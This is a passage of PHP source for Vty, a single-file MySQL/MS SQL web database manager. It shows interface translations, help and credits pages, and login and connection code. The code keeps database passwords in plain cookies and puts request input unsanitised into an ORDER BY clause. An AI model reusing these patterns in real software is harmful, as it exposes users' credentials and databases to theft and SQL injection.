  567. $uy['EminmisinCikis'] = 'Sei sicuro?\\nVuoi terninare la sessione?\\n';
  568. $uy['EminmisinSil'] = 'Sei sicuro?\\nVuoi CANCELLARE la RIGA selezionata?\\n';
  569. $uy['EminmisinBosalt'] = 'Sei sicuro?\\nVuoi CANCELLARE la TABELLA selezionata ?\\n';
  570. $uy['EminmisinKaldir'] = 'Sei sicuro?\\nVuoi ELIMINARE la TABELLA selezionata?';
  571. $uy['EminmisinDbSil'] = 'Sei sicuro?\\nVuoi ELIMINARE il DATABASE selezionato?\\n';
  572. $uy['KomutCalistirildi'] = 'Query OK';
  573. $uy['KacSatirEtkilendi'] = 'rows affected';
  574. $uy['loginBilgi'] = 'Inserisci username e password per connetterti al database. (basato sui Cookie)';
  575. $uy['destekYok'] = 'La tua configurazione PHP non supporta le @DbType@ functions.';
  576. $uy['YeniDbOldu'] = 'Hai creato un nuovo database: `@NewDbName@`.';
  577. $uy['YeniDbHata'] = 'Errore nella creazione del database `@NewDbName@`.';
  578. $uy['YeniTbOldu'] = 'Hai creato una nuova tabella: `@NewTbName@`.';
  579. $uy['YeniTbHata'] = 'Errore nella creazione della tabella `@NewTbName@`.';
  580. $uy['DbSilEminmi'] = 'Sei sicuro? Vuoi ELIMINAREil database `@DbName@`?';
  581. $uy['DbSilOldu'] = 'Il database `@DbName@` � stato eliminato.';
  582. $uy['DbSilHata'] = "Errore nell'eliminazione del database`@DbName@`";
  583. $uy['YeniSatirOldu'] = 'Aggiunta una nuova riga.';
  584. $uy['YeniSatirHata'] = 'Errore nella creazionedi una nuova riga.';
  585. $uy['SatirDuzeldi'] = 'La riga selezionata � stato aggiornata.';
  586. $uy['SatirDuzelHata'] = "Errore nell'aggiornamento della riga.";
  587. $uy['SatirlarDuzeldi'] = 'Le righe selezionate sono state aggiornate.';
  588. $uy['SatirSilindi'] = 'Le righe selezionate sono state eliminate.';
  589. $uy['SatirSilHata'] = "Errore nell'eliminazione delle righe.";
  590. $uy['SatirNSilindi'] = '@number@ righe selezionate sono state eliminate.';
  591. $uy['SatirSilNHata'] = "Errore nell'eliminazione delle @number@ righe selezionate.";
  592. $uy['OturumKapa'] = 'Sessione conclusa';
  593. $uy['OturumKaHata'] = 'Errore nel concludere la sessione.';
  594. $uy['ToplamSatir'] = 'Numero di righe: @number@';
  595. $uy['SatirYok'] = 'Non ci sono righe in questa tabella.';
  596. $uy['BosaltEmin'] = 'Vuoi svuotare la tabella @DbTable@?';
  597. $uy['BosaltOldu'] = 'Tabella @DbTable@ svuotata.';
  598. $uy['BosaltHata'] = 'Errore nello svuotamento della tabella @DbTable@.';
  599. $uy['KaldirEmin'] = 'Vuoi elimiare la tabella @DbTable@?';
  600. $uy['KaldirOldu'] = 'Tabella @DbTable@ eliminata.';
  601. $uy['KaldirHata'] = "Errore nell'eliminazione della tabella @DbTable@.";
  602. $uy['YeniDilSec'] = 'Seleziona la lingua.';
  603. $uy['CookieError'] = 'Il tuo browser non accetta i cookie. Risolvi il problema e ritenta';
  604. $uy['CookieErrorBas'] = 'Cookie Error';
  605. /// <TRANSLATE_HERE END>
  606.  
  607. }else{
  608.  
  609. ///
  610. /// if you want to translate Vty to your language.
  611. /// Please email us from [email protected]
  612. ///
  613.  
  614. /**
  615. * English
  616. */
  617.  
  618. /// <TRANSLATE_HERE>
  619. $dil['Charset'] = 'iso-8859-1'; //iso-8859-1
  620. $dil['dil'] = 'Language'; //Language
  621. $dil['Duzelt'] = 'Edit'; //"Edit"
  622. $dil['Sil'] = 'Delete'; //"Delete"
  623. $dil['Kaydet'] = 'Save'; //"Save"
  624. $dil['Gonder'] = 'Send'; //"Send"
  625. $dil['Reset'] = 'Reset'; //"Reset"
  626. $dil['Tamam'] = 'Okey'; //"OK"
  627. $dil['Uygula'] = 'Apply'; //"Apply"
  628. $dil['Iptal'] = 'Cancel'; //"Cancel"
  629. $dil['Yukari'] = 'Up Level'; //"Up Level"
  630. $dil['Satir'] = 'Line'; //"Line"
  631. $dil['Hata'] = 'Error'; //"Error"
  632. $dil['HataAcklm'] = 'Error Description'; //"Error desciription"
  633. $dil['MysqlHata'] = 'Mysql Error'; //"Mysql Error"
  634. $dil['Cevap'] = 'Answer'; //"Answer"
  635. $dil['Evet'] = 'Yes'; //"Yes"
  636. $dil['Hayir'] = 'No'; //"No"
  637. $dil['Ekle'] = 'Add'; //"Add"
  638. $dil['Olustur'] = 'Create'; //"Create"
  639. $dil['Devam'] = 'Next'; //"Next"
  640. $dil['Geri'] = 'Back'; //"Back"
  641. $dil['Seciniz'] = 'Choose'; //"Choose"
  642. $dil['YeniTbAdi'] = 'New table name'; //"New table name"
  643. $dil['DbEkle'] = 'CREATE DATABASE'; //"CREATE DATABASE"
  644. $dil['TbEkle'] = 'CREATE TABLE'; //"CREATE TABLE"
  645. $dil['DbSil'] = 'DROP this DATABASE'; //"DROP this DATABASE"
  646. $dil['Gelistir'] = 'Develop'; //"Develop"
  647. $dil['Ayarlar'] = 'Options'; //"Options"
  648. $dil['Yardim'] = 'Help'; //"Help"
  649. $dil['VtYonet'] = 'Database Manager for MySQL';//"Database manager for MySQL"
  650. $dil['Vt'] = 'Database'; //"Database"
  651. $dil['Dosyadan'] = 'From File'; //"From File"
  652. $dil['Tablo'] = 'Table'; //"Table"
  653. $dil['VtSeciniz'] = 'Choose a Database '.
  654. 'to Start'; //"Choose a Database to Start"
  655. $dil['TbSeciniz'] = 'Choose a Table'; //"Choose a Table"
  656. $dil['SayfaYnl'] = 'Refresh'; //"Refresh"
  657. $dil['Sorgu'] = 'Query'; //"Query"
  658. $dil['Sql'] = 'Sql Query'; //"Sql Query"
  659. $dil['SqlSonucu'] = 'Sql Results'; //"Sql Results"
  660. $dil['Buyut'] = 'Larger'; //"Larger"
  661. $dil['Uzat'] = '&lt; Longer &gt;'; //"&lt; Longer &gt;"
  662. $dil['Kisalt'] = '&gt; Shorter &lt;'; //"&gt; Shorter &lt;"
  663. $dil['Hep'] = 'All'; //"All"
  664. $dil['Hic'] = 'None'; //"None"
  665. $dil['EnAlt'] = 'Bottom'; //"Bottom"
  666. $dil['EnUst'] = 'Top'; //"Top"
  667. $dil['VtAdi'] = 'DatabaseName'; //"DatabaseName"
  668. $dil['TbAdi'] = 'TableName'; //"TableName"
  669. $dil['SutunSys'] = 'Field Number'; //"Field Number"
  670. $dil['TbBosalt'] = 'EMPTY this TABLE'; //"EMPTY this TABLE"
  671. $dil['TbKaldir'] = 'DROP this TABLE'; //"DROP this TABLE"
  672. $dil['DumpTables'] = 'DUMP Table'; //"DUMP"
  673. $dil['SatirEkle'] = 'Add New Row'; //"Add New Row"
  674. $dil['SatirDzlt'] = 'Edit Rows'; //"Edit Rows"
  675. $dil['DbHost'] = 'Host Name'; //"Host Name"
  676. $dil['DbKullAdi'] = 'User Name'; //"User Name"
  677. $dil['DbSifre'] = 'Password'; //"Password"
  678. $dil['SessCikis'] = 'Log Out'; //"Session Log Out"
  679. $dil['db_type'] = 'Server Type'; //"Server Type"
  680. $dil['GrsHts'] = 'Connection Error'; //"Connection Error"
  681. $dil['sayfalar'] = 'Pages'; //"Pages"
  682. $dil['sayfa'] = 'Page'; //"Pages"
  683. $dil['SayfaBasi'] = 'Rows per page'; //"Rows per page"
  684. $dil['Yeni'] = 'New'; //"New"
  685. $dil['AnaMenu'] = 'Main Menu'; //"Main Menu"
  686. $dil['WellComeToVty'] = 'Welcome to Vty'; //"Wellcome to Vty"
  687. $dil['About'] = "About"; //"about"
  688. $dil['Bugs'] = "Bugs"; //"Bugs"
  689. $dil['DumpTable'] = 'Dump Table'; //"Dump Table"
  690. $dil['DumpBoth'] = 'Both of "Insert Into" and "Create Table"'; //Both of "Insert Into" and "Create Table"
  691. $dil['DumpCreateOnly'] = '"Create Table" info only'; //"Create Table" info only
  692. $dil['DumpInsertOnly'] = '"Insert Into" info only'; //"Insert Into" info only
  693. $dil['SaveAsFile'] = "Save as file"; //"Save as file"
  694. $dil['DumpSubmit'] = "Dump Now"; //"Dump Now"
  695.  
  696. $uy['EminmisinCikis'] = 'Are you sure?\\nDo you want to end your session and quit?\\n';
  697. $uy['EminmisinSil'] = 'Are you sure?\\nDo you want to DELETE selected ROW?\\n';
  698. $uy['EminmisinBosalt'] = 'Are you sure?\\nDo you want to EMPTY selected TABLE?\\n';
  699. $uy['EminmisinKaldir'] = 'Are you sure?\\nDo you want to DROP selected ROW?';
  700. $uy['EminmisinDbSil'] = 'Are you sure?\\nDo you want to DROP selected DATABASE?\\n';
  701. $uy['KomutCalistirildi'] = 'Query OK';
  702. $uy['KacSatirEtkilendi'] = 'rows affected';
  703. $uy['loginBilgi'] = 'Please enter your username and password to connect database server. (Cookie based)';
  704. $uy['destekYok'] = 'Your PHP configuration do not support @DbType@ functions.';
  705. $uy['YeniDbOldu'] = 'New database `@NewDbName@` has been created.';
  706. $uy['YeniDbHata'] = 'An error occured when creating new database `@NewDbName@`.';
  707. $uy['YeniTbOldu'] = 'New table `@NewTbName@` has been created.';
  708. $uy['YeniTbHata'] = 'An error occured when creating new table `@NewTbName@`.';
  709. $uy['DbSilEminmi'] = 'Are you sure? Do you want to DROP `@DbName@` database?';
  710. $uy['DbSilOldu'] = '`@DbName@` database has been dropped.';
  711. $uy['DbSilHata'] = 'An error occured when dropping `@DbName@` database';
  712. $uy['YeniSatirOldu'] = 'New row added.';
  713. $uy['YeniSatirHata'] = 'An error occured when adding new row.';
  714. $uy['SatirDuzeldi'] = 'The rows you have selected has been updated.';
  715. $uy['SatirDuzelHata'] = 'An error occured when updating row.';
  716. $uy['SatirlarDuzeldi'] = 'The rows you have selected has been updated.';
  717. $uy['SatirSilindi'] = 'The row you have selected has been deleted.';
  718. $uy['SatirSilHata'] = 'An error occured when deleting row.';
  719. $uy['SatirNSilindi'] = '@number@ rows you have selected has been deleted.';
  720. $uy['SatirSilNHata'] = 'An error occured when deleting @number@ rows you have selected.';
  721. $uy['OturumKapa'] = 'Session closed';
  722. $uy['OturumKaHata'] = 'Error when closing session.';
  723. $uy['ToplamSatir'] = 'Numrows: @number@';
  724. $uy['SatirYok'] = 'There is no row in the table.';
  725. $uy['BosaltEmin'] = 'Do you want to empty @DbTable@ table?';
  726. $uy['BosaltOldu'] = '@DbTable@ table emptied.';
  727. $uy['BosaltHata'] = 'An error occured when emptying @DbTable@ table.';
  728. $uy['KaldirEmin'] = 'Do you want to drop @DbTable@ table?';
  729. $uy['KaldirOldu'] = '@DbTable@ table dropped.';
  730. $uy['KaldirHata'] = 'An error occured when dropping @DbTable@ table.';
  731. $uy['YeniDilSec'] = 'Select your new language.';
  732. $uy['CookieError'] = 'Your browser does not accept cookies. Please turn it on to continue.';
  733. $uy['CookieErrorBas'] = 'Cookie Error';
  734. /// <TRANSLATE_HERE END>
  735. }
  736. $this->dil = $dil;
  737. $this->uy = $uy;
  738. }
  739.  
  740.  
  741. }
  742.  
  743. ?>
  744. <?php
  745.  
  746. /**
  747. * class Docs
  748. *
  749. * This class includes the language informations and the display informations
  750. */
  751. class Docs
  752. {
  753.  
  754. /**
  755. * Docs
  756. *
  757. *
  758. */
  759. function Docs($vty){
  760. $this->vty = $vty;
  761.  
  762. $this->menu();
  763. if($this->vty->nebu=='help'){
  764. $this->help();
  765. }elseif($this->vty->nebu=='bugs'){
  766. $this->bugs();
  767. }elseif($this->vty->nebu=='about'){
  768. $this->about();
  769. }
  770. }
  771.  
  772. /**
  773. * menu
  774. *
  775. *
  776. */
  777. function menu(){
  778. ?>
  779. <table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#ECB100">
  780. <tr>
  781. <td height="30" bgcolor="#FFF4D2"> <a href="<? echo $this->vty->urlyap($this->vty->linkler.'&ne=docs&nebu=help'); ?>"><? echo $this->vty->dug->dil['Yardim']; ?></a>
  782. | <a href="<? echo $this->vty->urlyap($this->vty->linkler.'&ne=docs&nebu=about'); ?>"><? echo $this->vty->dug->dil['About']; ?></a>
  783. | <a href="<? echo $this->vty->urlyap($this->vty->linkler); ?>"><? echo $this->vty->dug->dil['Iptal']; ?></a>
  784. </td>
  785. </tr>
  786. </table>
  787. <br>
  788. <?
  789. }//end of func: menu
  790.  
  791. /**
  792. * help
  793. *
  794. *
  795. */
  796. function help(){
  797. echo '<style type="text/css">
  798. h3{ color:#CC0000;}
  799. ul{ list-style:square;}
  800. </style>';
  801. ?>
  802. <fieldset>
  803. <div align="left" style="margin:10;">
  804. <h3>Vty Help</h3>
  805. <ul>
  806. <li><a href="<? echo $this->vty->vtyUrl; ?>help.php">Go to Vty Help Page</a></li>
  807. <li><a href="<? echo $this->vty->vtyUrl; ?>forum.php">Go to Vty Forum</a></li>
  808. <li><a href="<? echo $this->vty->vtyUrl; ?>bug.php">Report a bug</a></li>
  809. <li><a href="<? echo $this->vty->vtyUrl; ?>translate.php">Become a translator</a></li>
  810. <li><a href="<? echo $this->vty->vtyUrl; ?>feedback.php">Send Feedback</a></li>
  811. </ul>
  812. <ul>
  813. <li><b>How to install Vty?</b></li><br />
  814. No need to install Vty. Only enter your correct Mysql informations to login
  815. page. No need any installation. Only upload and use.<br><br>
  816.  
  817. <li><b>I don't want to see login page. What can i do?</b></li><br />
  818. If you don't want to see "Login Page".<br />
  819. 1. Open vty.php with a file editor.<br>
  820. 2. Go to Line 29.<br />
  821. 3. Change <font color="#993333">$ayar['LoginType'] = 'config_or_login';</font>&nbsp;&nbsp;&nbsp; as &nbsp;&nbsp;
  822. <font color="#993333">$ayar['LoginType'] = 'config';</font><br>
  823. 4. Write your correct MySQL informations. Your mysql username to <font color="#993333">$ayar['dbuser']</font>, password to <font color="#993333">$ayar['dbpass']</font> and mysql host to <font color="#993333">$ayar['dbhost']</font><br />
  824. 5. Save file.<br />
  825. And you will no longer see login page. Vty will directly connect to mysql server and will show you the databases.
  826. <br><br>
  827.  
  828. <li><b>Why has Vty got only one php file?</b></li><br />
  829. Vty is one file for easy upload and download.<br><br>
  830.  
  831. </ul>
  832. </div>
  833. </fieldset>
  834. <?
  835. }//end of func: help
  836.  
  837.  
  838. /**
  839. * about
  840. *
  841. *
  842. */
  843. function about(){
  844. ?>
  845. <fieldset>
  846. <alegend align="left" style="font-size:24px;color:#333333;"></alegend>
  847. <amarquee behavior="" direction="up" loop="-1" scrolldelay="110" scrollamount="3">
  848. <div align="left" style="margin:10;">
  849. <font size="4"><? echo 'Vty - '.$this->vty->dug->dil['VtYonet']; ?></font>
  850. <br />
  851. <br />
  852. <strong>Version: </strong><? echo 'Vty '.$this->vty->vtyversion; ?>
  853. <br />
  854. <strong>Email: </strong>
  855. [email protected]<br />
  856. <strong>URL: </strong><a href="<? echo $this->vty->vtyUrl; ?>" target="_blank"><? echo $this->vty->vtyUrl; ?></a> <br />
  857. <br />
  858. <strong>Translaters</strong><br>
  859. <em>English: Mustafa Kirgul, [email protected] </em><br>
  860. <em>Italian: Luca Realdi, [email protected] </em><br>
  861. <em>Spanish: Manuel Ruiz, [email protected]</em><br>
  862. <br>
  863. <strong>Developers</strong><br>
  864. <em>ismail Alpen, [email protected]<br>
  865. Enis �oban, [email protected]<br>
  866. Hizir Seven, [email protected]<br>
  867. Baurcan Jakasev: [email protected] </em><br>
  868. </div>
  869. </amarquee>
  870. </fieldset>
  871. <?
  872. }//end of func: about
  873.  
  874. /**
  875. * bugs
  876. *
  877. *
  878. */
  879. function bugs(){
  880. echo 'BUGS';
  881. }//end of func: help
  882. }//end of class: docs
  883. ?>
  884. <?php
  885.  
  886. class vty
  887. {
  888.  
  889. /**
  890. * �nemli degiskenler
  891. */
  892. var $ayar;
  893. var $dug;
  894. var $dl;
  895. var $baglanti;
  896. var $dosya;
  897. var $vtyversion;
  898. var $vtyUrl;
  899. var $BitimIslemleri;
  900.  
  901. /**
  902. * Icde uretilen degiskenler
  903. */
  904. var $dbname;
  905. var $tablename;
  906.  
  907. /**
  908. * sql query deki limit bilgisini iceris. LIMIT $i,$s gibi
  909. */
  910. var $numrows;
  911. var $query_limit;
  912.  
  913. /**
  914. * Gelen Degiskenler
  915. */
  916. var $ne;
  917. var $nebu;
  918. var $pp;
  919. var $order;
  920. var $desc;
  921. var $kac;
  922. var $ilk;
  923. var $query_order;
  924.  
  925. /**
  926. * Giris formdan gelenler
  927. */
  928. var $txtDbTipi;
  929. var $txtDbHost;
  930. var $txtDbKullanici;
  931. var $txtDbSifre;
  932.  
  933.  
  934. /**
  935. * vty()
  936. *
  937. * Vty i�in baslangi� fonksiyonlari
  938. *
  939. * @param object $ayar ayarlar classini icerir
  940. */
  941. function vty($ayar)
  942. {
  943.  
  944. ob_start();
  945. set_magic_quotes_runtime(false);
  946. $this->NoCache();
  947.  
  948. $this->ayar = $ayar;
  949. $this->dug = new dug($this->DilCookie());
  950. $this->ne = $this->gkp('ne');
  951. $this->nebu = $this->gkp('nebu');
  952. $this->sbtGirisYap = $this->gkp('sbtGirisYap','p');
  953. $this->txtDbTipi = $this->gkp('txtDbTipi','p');
  954. $this->txtDbHost = $this->gkp('txtDbHost','p');
  955. $this->txtDbKullanici = $this->gkp('txtDbKullanici','p');
  956. $this->txtDbSifre = $this->gkp('txtDbSifre','p');
  957. $this->RandomSayi();
  958. $this->ayar['error_reporting'] = error_reporting('E_ALL'); // alternatives: E_ALL & ~E_NOTICE
  959. $this->dosya = basename($this->gp('PHP_SELF','s'));
  960. $this->vtyversion = '1.6';
  961. $this->vtyUrl = 'http://www.kutukutu.com/vty/';
  962. }
  963.  
  964. /**
  965. * DilCookie()
  966. *
  967. *
  968. *
  969. */
  970. function DilCookie(){
  971. if($this->gkp('dl') == ''){
  972. if($this->gkp('vtykuki_dil','c')==''){
  973. $dil = $this->gkp('HTTP_ACCEPT_LANGUAGE','s');
  974. $dil = substr($dil,0,2);
  975. $dil = ($dil==''?$this->ayar['DefaultLang']:$dil);
  976. }else{
  977. $dil = $this->gkp('vtykuki_dil','c');
  978. }
  979. }else{
  980. $dil = $this->gkp('dl');
  981. if($dil <> $this->gkp('vtykuki_dil','c'))
  982. setcookie("vtykuki_dil",$dil,time()+100000000);
  983. }
  984. return $dil;
  985. }
  986.  
  987. /**
  988. * bitimIslemler()
  989. *
  990. * Vty i�in bitim fonksiyonlari
  991. */
  992. function BitimIslemleri()
  993. {
  994.  
  995. if($this->BitimIslemleri == false){
  996. $this->ImzaKoy();
  997. $this->_htmlSonu();
  998. }
  999. if($this->baglanti!=0){
  1000. $this->db->vty_close();
  1001. }
  1002. ob_end_flush();
  1003. }
  1004.  
  1005. /**
  1006. * BitimYok()
  1007. *
  1008. * Vty i�in bitim fonksiyonlari
  1009. */
  1010. function BitimYok()
  1011. {
  1012. $this->BitimIslemleri = true;
  1013. }
  1014.  
  1015.  
  1016. /**
  1017. * linkler()
  1018. *
  1019. * Gelen databaseadi, tabloadi ve sayfada gezme bilgilerini alir,
  1020. * bunlardan sayfanin heryerinde kullanmak amaciyla string $linkler degiskenini olusturur.
  1021. */
  1022. function linkler()
  1023. {
  1024. $this->dbname = (!empty($this->ayar['dbname']) ? $this->ayar['dbname'] : urldecode($this->gkp('sdb')) );
  1025. $this->tablename = urldecode($this->gkp('stb'));
  1026. $this->pp = ($this->gp('sayfaBasi','p')?$this->gp('sayfaBasi','p'):$this->gp('pp','g'));
  1027. $this->order = $this->gp('order');
  1028. $this->desc = $this->gp('desc');
  1029. $this->kac = $this->gp('kac');
  1030. $this->ilk = $this->gp('ilk');
  1031. $this->linkler = (!empty($this->dug->dl)?"dl=".$this->dug->dl."&":'').
  1032. (!empty($this->dbname)?"sdb=".urlencode($this->dbname)."&":'').
  1033. (!empty($this->tablename)?"stb=".urlencode($this->tablename)."&":'').
  1034. (!empty($this->order)?"order=".$this->order."&":'').
  1035. (!empty($this->kac)?"kac=".$this->kac."&":'').
  1036. (!empty($this->pp)?"pp=".$this->pp."&":'').
  1037. (!empty($this->desc)?"desc=".$this->desc."&":'');
  1038. $this->DescOlayi();
  1039. }
  1040.  
  1041. function DescOlayi()
  1042. {
  1043. if(!empty($this->order)){
  1044. $this->query_order = "order by ".$this->order;
  1045. if($this->desc == "ASC"){
  1046. $this->query_order = "order by ".$this->order." ASC"; $this->desc = "DESC"; $this->desc_resim = '<font face="Webdings">6</font>'; //"res/desc_desc.gif";
  1047. }else{
  1048. $this->query_order = "order by ".$this->order." DESC"; $this->desc = "ASC"; $this->desc_resim = '<font face="Webdings">5</font>'; //"res/desc_asc.gif";
  1049. }
  1050. }
  1051. }
  1052.  
  1053.  
  1054. /**
  1055. * baglan()
  1056. *
  1057. * Baglantiyi Yapan fonksiyon, baglanti yapilip yapilmadigina g�re sonuc d�ner,
  1058. * baglanti olursa kuki birakir
  1059. */
  1060. function baglan()
  1061. {
  1062. $girisYontem = 'ayar';
  1063. if($this->ayar['LoginType']=='config_or_login' or $this->ayar['LoginType']=='login'){
  1064. if(!empty($this->sbtGirisYap) ){
  1065. $this->ayar['db_type'] = $this->txtDbTipi;
  1066. $this->ayar['dbhost'] = $this->txtDbHost;
  1067. $this->ayar['dbuser'] = $this->txtDbKullanici;
  1068. $this->ayar['dbpass'] = $this->txtDbSifre;
  1069. }elseif( $this->gp('vtykuki_host','c')<>'' and $this->gp('vtykuki_dbtipi','c')<>''){
  1070. $this->ayar['db_type'] = $this->gp('vtykuki_dbtipi','c');
  1071. $this->ayar['dbhost'] = $this->gp('vtykuki_host','c');
  1072. $this->ayar['dbuser'] = $this->gp('vtykuki_kullanici','c');
  1073. $this->ayar['dbpass'] = $this->gp('vtykuki_sifre','c');
  1074. }
  1075. $girisYontem = 'kuki';
  1076. }
  1077. if( $this->ayar['LoginType']=='config' or $this->ayar['LoginType']=='config_or_login' or ($this->ayar['LoginType']=='login' and ($this->gkp('vtykuki_host','c') or !empty($this->sbtGirisYap))) ){
  1078. if($this->dbKurulumu($this->ayar['db_type'])==false){
  1079. $this->baglantiHatasi = '<font color="#FF0000" >'. ereg_replace('@DbType@','<b>'.$this->dbTipiAdi($this->ayar['db_type']).'</b>',$this->dug->uy['destekYok']).'</font>'."\n";
  1080. }else{
  1081. $this->db = new vtydb;
  1082. $this->db->vt_adi($this->ayar['db_type']);
  1083. $this->baglan = ($this->db->vty_connect($this->ayar['dbhost'], $this->ayar['dbuser'], $this->ayar['dbpass']));
  1084. if($this->baglan==0){
  1085. $this->baglanti = 0;
  1086. $this->baglantiHatasiCol = '#FF0000';
  1087. $this->baglantiHatasiBas = $this->dug->dil['GrsHts'];
  1088. //DB_AYRIMI
  1089. if($this->ayar['db_type']=='mysql'){
  1090. $this->baglantiHatasi = $this->db->vty_error();
  1091. }elseif($this->ayar['db_type']=='mssql'){
  1092. $this->baglantiHatasi = 'MS SQL: Unable to connect to server'.(!empty($this->txtDbHost)?' : '.$this->txtDbHost:'.');
  1093. }
  1094. }else{
  1095. if($girisYontem=='kuki'){
  1096. setcookie("vtykuki_host",$this->ayar['dbhost']);
  1097. setcookie("vtykuki_kullanici",$this->ayar['dbuser']);
  1098. setcookie("vtykuki_sifre",$this->ayar['dbpass']);
  1099. setcookie("vtykuki_dbtipi",$this->ayar['db_type']);
  1100. }
  1101. $this->baglanti = 1;
  1102. }
  1103. }
  1104. }else{
  1105. $this->baglanti = 0;
  1106. }
  1107. }
  1108.  
  1109. /*
  1110. * girisForm()
  1111. *
  1112. * Database bilgilerin kullanididan istemek icin cikan ekrani oluturan fonksiyon
  1113. *
  1114. */
  1115. function girisForm()
  1116. {
  1117. echo '<table width="'.$this->dug->gor['table_width'].'" border = "'.$this->dug->gor['border'].'" cellspacing="'.$this->dug->gor['cellspacing'].'" cellpadding="'.$this->dug->gor['cellpadding'].'" >'."\n".
  1118. '<tr bgcolor="'.$this->dug->gor['alt_bgcolor'].'">'."\n".
  1119. "<td valign=\"top\">"."<br />"."\n".
  1120. '<table>'."\n".
  1121. "<form name=\"frmKukiliGiris\" method=\"post\" action=\"".$this->dosya."\" onSubmit=\"return fncKukiliGirisOnSub();\">"."\n".
  1122. '<tr colspan="2" >'."\n".'<td width="5" rowspan="3">'.'</td>'.
  1123. (($this->ayar['LoginType']=='config' or $this->gp('txtDbHost')<>'' )?
  1124. '<tr><td colspan="2">'.'<font face="Times New Roman" size="3" color="'.$this->baglantiHatasiCol.'"> <b> '.$this->baglantiHatasiBas.'</b>'."<br />".
  1125. $this->baglantiHatasi.'</font>'."<br /><br /></td>\n":'<td><font color="#000080" size="2" > &nbsp;<b>'.$this->dug->dil['WellComeToVty'].'</b></font><br/><br/></td>').
  1126. '</tr>'."\n";
  1127. if( $this->ayar['LoginType']=='config_or_login' or $this->ayar['LoginType']=='login'){
  1128. echo '<tr colspan="2" >'."\n".
  1129. '<td>'.
  1130. '<table cellspacing="5" cellpadding="0" >'.
  1131. '<tr><td>'.$this->dug->dil['dil'].':</td><td> &nbsp; '.$this->dilListesi().'</td></tr>'.
  1132. '<tr><td>'.'<b>'.$this->dug->dil['db_type'].' :</b>'.'</td>'.
  1133. '<td> &nbsp; <select name="txtDbTipi" style="width:130;" >'."\n".
  1134. '<option value="mysql" '.($this->ayar['db_type']=='mysql'?'selected':'').' >MySQL</option> '.
  1135. '<option value="mssql" '.($this->ayar['db_type']=='mssql'?'selected':'').' >MS SQL (test)</option>'."\n".
  1136. '</select>'.
  1137. '</td></tr>'.
  1138. '<tr>'.
  1139. '<td>'.'<b>'.$this->dug->dil['DbHost'].' :</b>'.'</td>'.
  1140. '<td> &nbsp; <input type="input" name="txtDbHost" value="'.(!empty($this->txtDbHost)?$this->txtDbHost:'localhost').'" >'.'</td>'.
  1141. '</tr>'.
  1142. '<tr>'.
  1143. '<td>'.'<b>'.$this->dug->dil['DbKullAdi'].' :</b>'.'</td>'.
  1144. '<td> &nbsp; '.'<input type="input" name="txtDbKullanici" value="'.(!empty($this->txtDbKullanici)?$this->txtDbKullanici:'').'">'."</td>".
  1145. '</tr>'.
  1146. '<tr>'.
  1147. '<td>'.'<b>'.$this->dug->dil['DbSifre'].' :</b>'.'</td>'.
  1148. '<td> &nbsp; '.'<input type="password" name="txtDbSifre">'."</td>".
  1149. '</tr>'.
  1150. '<tr>'.
  1151. '<td colspan="2" >'.
  1152. '<input type="submit" name="sbtGirisYap" value=" '.$this->dug->dil['Gonder'].' ">'.
  1153. '<input name="dl" type="hidden" id="dl" value="'.$this->dug->dl.'">'.
  1154. '<br /><br />'.
  1155. '</td></tr></table>'.
  1156.  
  1157. '</td>'."\n".
  1158. '</tr>'."\n";
  1159. }
  1160. echo '</form>'."\n".'</table>'."\n";
  1161. echo "</td> \n </tr> \n ".'<tr bgcolor="#dddddd" border = "0" cellspacing="1" cellpadding="1">'." \n ";
  1162. echo '<td height="25" align="right">&nbsp;</td>';
  1163. echo "</td>"."\n"."</tr>"."\n"."</table>"."\n";
  1164. }
  1165.  
  1166. /*
  1167. * Dil listesi
  1168. */
  1169. function dilListesi()
  1170. {
  1171. $diller = $this->dug->diller();
  1172. $dl = $this->dug->dl;
  1173. $don = '<select name="sDil" onChange="atla(\'parent\',\''.$this->dosya."?ne=lang&r=".$this->random.$this->linkler().'\',this,0)" >'."\n";
  1174. $don .= '<option >-'.$this->dug->dil['Seciniz'].'-</option>'."\n";
  1175. foreach($diller as $key=>$dil) $keys[] = $key;
  1176. foreach($diller as $di => $dil){
  1177. $don .= '<option value="&dl='.$di.'" '.((empty($dl) or !in_array($dl,$keys)) ? ($di==$this->ayar['DefaultLang']?'selected':'') : ($dl==$di?'selected':'') ).' >'.$dil.'</option>'."\n";
  1178. }
  1179. $don .= '</select>'."\n";
  1180. return $don;
  1181. }
  1182.  
  1183. /*
  1184. * Ust Menu
  1185. */
  1186. function ust()
  1187. {
  1188. $devam = $this->gp('devam');
  1189. if($this->baglanti==0)
  1190. $this->baslik = 'Vty '.$this->vtyversion.' - '.$this->dug->dil['VtYonet'];
  1191. else
  1192. $this->baslik = "vty : ".($this->dbname?$this->dbname:'?')." . ".(($this->tablename and $this->dbname)?$this->tablename:'?')." ".
  1193. (($this->tablename and $this->dbname and $this->ayar['dbhost'])?"@ ".$this->ayar['dbhost']." - v".$this->vtyversion:'');
  1194.  
  1195. echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">'."\n".
  1196. '<html>'."\n".
  1197. '<head>'."\n".'<title>'.$this->baslik.'</title>'."\n".
  1198. '<meta http-equiv="Content-Type" content="text/html; charset='.$this->dug->dil['Charset'].'">'."\n".
  1199. '<meta http-equiv="expires" content="now" >'."\n".
  1200. '<style type="text/css"> <!-- '."\n".
  1201. 'td{font-family: Arial; font-size: 12px}body{font-family: Arial; font-size: 12px}'."\n".
  1202. 'input{font-family: Arial; font-size: 12px}select{font-family: Arial; font-size: 12px}'."\n".
  1203. 'A:link{font-family: arial; font-size: 12px; text-decoration: none; color: #0000ff}'."\n".
  1204. 'A:visited{font-family: arial; font-size: 12px; text-decoration: none; color: #0000ff}'."\n".
  1205. 'A:hover{font-family: arial; font-size: 12px; text-decoration: underline; color: #006600}'."\n".
  1206. '--> </style>'."\n";
  1207.  
  1208. echo '<script language="JavaScript" type="text/JavaScript" > <!--'."\n".
  1209. "function atla(targ,adres,selObj,restore){eval(targ+\".location=\'\"+adres+selObj.options[selObj.selectedIndex].value+\"\'\");if(restore)selObj.selectedIndex=0;}"."\n".
  1210. "function Sileyimmi(soyle){var c=confirm(soyle);if(c==\"1\")return true;else if(c==\"0\")return false;}"."\n".
  1211. "function silDe(){ return Sileyimmi('".$this->dug->uy['EminmisinSil']."');} \n".
